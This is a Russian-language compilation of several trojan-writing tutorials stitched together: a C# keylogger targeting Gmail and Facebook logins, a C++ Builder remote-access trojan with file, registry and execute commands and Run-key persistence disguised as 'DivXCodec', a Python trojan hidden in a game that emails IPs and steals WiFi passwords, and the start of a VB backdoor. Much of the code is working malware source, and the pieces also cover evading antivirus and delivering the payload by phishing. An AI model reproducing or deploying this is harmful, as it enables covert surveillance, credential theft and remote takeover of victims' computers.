Как создать троянского коня
Опубликовано: 01.05.2024
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Сегодня мы будем учиться писать троянчик. Небольшой, но СВОЙ! Почему? Конечно-конечно, троянов в сети навалом, но рано или поздно они =вдруг= начинают определяться антивирусами, приходиться ждать апдейта етц. Ожидание - самый скучный повод. Не знаю как вы, но я ждать не люблю, да и использовать чужие трояны это совсем не по-><аЦкERR'ски. Короче, пишем свой троян и точка.
После точки, как учили в школе, пишем с большой буквы. Так вот, о чем я? Писать я буду, как обычно, на своем любимом Builder C++. Если у вас руки растут не оттуда, откуда у меня ноги, то без проблем все переделаете под Дельфи, если припрет конечно.
Естественно, наш троян будет состоять из 2х частей =) Серверной (отправляемой как подарок ламерюге) и клиентской (оставим себе на память). Надо сказать, что я давно не юзал никакие трояны, так что не знаю что там сейчас они умеют делать, может уже и коврик под мышкой научились двигать или корпус компа открывать. Мы же пишем "троянчик", поэтому делать он будет только следующее:
1) читать, удалять, запускать файлы на удаленном компьютере
2) работать с реестром на удаленном компьютере
3) ну и традиционный набор разных бесполезных функций, типа открытие CD-ROM'a, смена клавишей мышки etc.
Перекурили и поехали!
Использовать будем стандартные компоненты TClientSocket и TServerSocket.
Начнем с клиента. Набрасываем простенький интерфейс и приступаем к реализации. Управлять удаленным компьютером будем с помощью специальных команд. Для примера пускай структура их будет такая:
Nпараметры. N - цифра. Каждому действию присвоен свой код. Т.е. например 1 - перезагрузка, 2 - чтение файла и т.д. Главное чтоб было однозначное соответствие между тем что хотим сделать (команда передаваемая клиентом) и тем что выполняет программа (обработка команды на сервере). С этим разобрались. Теперь параметры. Бывает мало передать только номер команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо (хотя можно и здесь передать параметры в функцию перезагрузки), но как например реализовать удаление файла не передавая параметра? Мы передаем команду на удаление файла, но какого?! Для этого будем использовать параметры. В качестве параметра в данном случае будет передаваться имя файла. Бывает, что мало передать один параметр. Например надо прочитать n-строчек из file.txt. Здесь необходимо передать 2 параметра. В нашем примере параметры отделяются друг от друга комбинацией "\r\n" - перевод каретки. Объясняется данная структура тем, что в сервере мы сначала помещаем полученную команду в TStringList и потом можем спокойно обращаться к любой строчке этого TStringList'а через свойство Strings , где i-номер строчки, а соответственно и номер параметра. В общем, это вещи достаточно очевидные.
void __fastcall TForm1::TrojControllerRead(TObject *Sender,
TCustomWinSocket *Socket)
<
Memo2->Lines->Add(Socket->ReceiveText());
>
Вот и все. Клиент законен! Переходим к серверу.
Сервер будет чуть пообъемнее. Вначале определимся с задачами:
1) получение команд
2) их обработка и выполнение соответствующих действий
3) отсылка ответа клиенту (должны же мы знать что происходит на сервере)
Реализуем.
Во-первых, никакого визуального оформления естественно не будет =) Поэтому на форму поместим только 1 компонент: TServerSocket. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector'е. Но раз уж сделали, так сделали =)
void __fastcall TForm1::FormCreate(TObject *Sender)
<
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
>
Итак, указали порт, активизировали сокет. Теперь обрабатываем событие ClientRead, т.е. получение данных сокетом. Комментирую на примере:
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
<
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
>
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
<
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) < // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
>
>
Теперь немного подробнее. Мы пишем специальный класс TTrojanUtilites, в котором реализуем все необходимые функции. В RecognizeCommand (String Directive) мы только отделяем команду от параметров и запускаем необходимые методы TTrojanUtilites, передавая по необходимости в них параметры.
Реализация TTrojanUtilites есть то, чем мы сейчас займемся. Класс оформим в отдельном модуле, не забудьте подключить его.
Поехали. Во-первых, подключаем #include - необходимо для реализации работы с CD-ROM'ом. Далее пишем все необходимые методы.
Краткие комментарии на примере:
void TTrojanUtilites::OpenCloseCD()
<
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
<
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
CDROMOPEN = true; // открыть
>
else
<
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
CDROMOPEN = false; // закрыть
>
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
>
void TTrojanUtilites::RestartMachine()
<
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");
>
Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_. ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:
mov dx,0cf9h
mov al,2
out dx,al
mov al,6
out dx,al
Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_. ENDSESSION я не знаю. Если вы знаете - напишите пару строк, не в падлу =)
C++
void TTrojanUtilites::SendFile(String F)
<
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
<
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
>
TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList
n = TTSL2->Count; // получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл
n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i]); // передаем строки клиенту
>
Вроде тут и объяснять нечего.
void TTrojanUtilites::ReadRegistry(ShortString k)
<
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке:
//// 0 - root key
//// 1 - key name
//// 2 - value name
//// 3 - value
//// 4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0]; // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS") k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool") // двоичный (REG_BINARY)
if (reg->ReadBool(TTSL->Strings[2]))
res = "true";
else res = "false";
if (ts == "Integer") // числовой (REG_DWORD)
res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String") // строковый (REG_SZ)
res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
>
Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); - для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для строкового.
Для запуска файлов на удаленном компьютере используем следующую функцию:
void TTrojanUtilites::ExecuteFile(String f)
<
ShellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);
Sock->Socket->Connections[0]->SendText("Запущен файл "+f);
>
Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer'e, Opere, Netscape или еще в чем-то. Хрен знает чем там ламерюга пользуется. Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)
Идем дальше. Парочка бесполезных функций:
void TTrojanUtilites::HideMouse()
<
ShowCursor(false);
Sock->Socket->Connections[0]->SendText("Курсор мыши скрыт");
>
void TTrojanUtilites::SwapMouseButtons()
<
SwapMouseButton(true);
Sock->Socket->Connections[0]->SendText("Кнопки мыши переключены");
Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)
Теперь довольно важная функция:
void TTrojanUtilites::DeleteFile(String f)
<
if (!FileExists(f))
<
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
>
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey(" \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
>
Данная функция НЕ удаляет файл сразу. Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению - то будет удален только он. А первый останется нетронутым. Немного измените функцию - и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:
int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога
fo.pFrom = pszFullPath; //путь
fo.wFunc = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);
Только внимательно все проверьте! Будет обломно если ламерюга "вдруг" увидит надпись "Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!". А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет - допишет все необходимое сам, если что - я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема - просто передавайте файлы фрагментами.
Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее:
1) при запуске файл переписывается в папку, в которой установлены винды.
2) прописываем запуск нашего файла в реестре.
void __fastcall TForm1::FormCreate(TObject *Sender)
<
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;
String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey(" \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
pReg->WriteString("DivXCodec",WinDir+" \\ task16man.exe"); //добавляем ее по новой
if (Application->ExeName!=WinDir+" \\ task16man.exe") //если файл запустили 1ый раз
<
if (!FileExists(WinDir+" \\ task16man.exe"))
<
String dest=WinDir+" \\ task16man.exe";
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
// переписываем файл к виндам
ServSckt->Active = false;
ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
Application->Terminate(); // это приложение закрываем
>
else
Application->Terminate();
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз
// запустили и им подобных, додумайте сами =)
>
else
<
ServSckt->Port = 4321;
ServSckt->Active = true;
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey(" \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
>
>
В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =). Удачи!
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой pip .
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f'<> ') ? Буква f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip install ):
Пишем базовую информацию о себе:
Дальше сформируем письмо:
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
В строке server. ehlo( email) мы используем команду EHLO . Большинство серверов SMTP поддерживают ESMTP и EHLO . Если сервер, к которому вы пытаетесь подключиться, не поддерживает EHLO , можно использовать HELO .
Полный код этой части трояна:
После запуска скрипта, получаем письмо.
Письмо с IP
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Итак, строка client = socket. socket( socket. AF_INET, socket. SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка client. connect(( HOST, PORT) ) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция client. recv( 1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема. Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда decode( 'cp866') декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно cp866 ? Зайдем в командную строку и введем команду chcp .
Текущая кодовая страница
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi стащим!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
Модуль subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
Введя команду netsh wlan show profiles в командной строке, мы получим следующее.
netsh wlan show profiles
Если распарсить вывод выше и подставить имя сети в команду netsh wlan show profile [ имя сети] key=clear , результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
netsh wlan show profile ASUS key=clear
Вердикт VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Результат
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Собственный троян на вижл васик
В интернете полным полно всяких сайтов, на которых Вы можете скачать себе самые разнообразные трояны и вирусы. Но о большинстве из них (скорее всего) уже знают антивирусные программы. К тому же надо с опаской относиться к таким троянам, которые отсылают пароли на e-mail, т. к. их большинство дублирует письмо на e-mail автора :о) Поэтому лучше всего сделать троян самому.
Для начала разберёмся с классификацией троянов. Трояны делятся на несколько категорий: BackDoors, Nukers и т. д. В этой статье мы будим говорить о создании собственного BackDoor'а, а точнее программы скрытого удалённого администрирования. Такие программы состоят из 2-х частей: одна - сервер, а другая - клиент. На компьютер жертвы засылается сервер. Именно он скрывается от пользователя. Файл сервера при запуске автоматически копируется в каталог Windows или системный каталог, а также скрывается из диалога "Завершение работы программы", который вызывается нажатием Ctrl+Alt+Delete. Во время работы, сервер открывает какой-нибудь порт от 1-ого до 65535-ого, и ждёт там клиента. Оыбчно сервер открывает порт на TCP протоколе. После того, как клиент подключиться к серверной части, он начинает посылать ей команды. Командами являются просто сочетания символов, обычно в виде слов, чтобы автору трояна не мучиться :о) Какие именно он придумает команды - нужно только догадоваться.
Итак. Как мы и обещали, приступаем к созданию программы. Сначала напишем сервер. Для этого создаём новый проект на Visual Basic в виде стандартного EXE. Далее подключаем к нему Microsoft Winsock Control: в меню "Project"->"Components. "
Если в списке его нет, то нажмите "Browse" и выберете файл "mswinsck.ocx". Тепрь ставим на форму этот компонент. Он нам нужен для свази клиентской и серверной части по TCP протоколу. Далее изменяем форму: убираем заголовок, делаем малые размеры и visible формы ставим на False. У компонента меняем имя на "ws" и свойству LocalPort присваиваем число, которое и будет номером порта, например 123.
Теперь попробуем запустить программу. У вас ничего не должно появиться. Завершаем работу программы нажатием кнопки "стоп".
Начинаем писать код программы. В Form_Load пишем:
Private Sub Form_Load()
Do
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub
Здесь, если мы ни с кем не соеденины и не прослушиваем порт, закрываем связь в ws и открываем 123 порт в ожидании клиента. Условие на состояние связи в ws нужно повторять во время работы программы для того, чтобы избежать случая, который возникает при разрыве связи. Т. е. вы начинаете случать порт, затем подключается удалённый компьютер, а после его отключения порт слушаться уже не будет. Вот значения, которые может принимать свойство State:
Константа
Значение
Описание
sckClosed
0
Такое значение стоит при запуске программы или когда порт закрыт
sckOpen
1
Порт открыт
sckListening
2
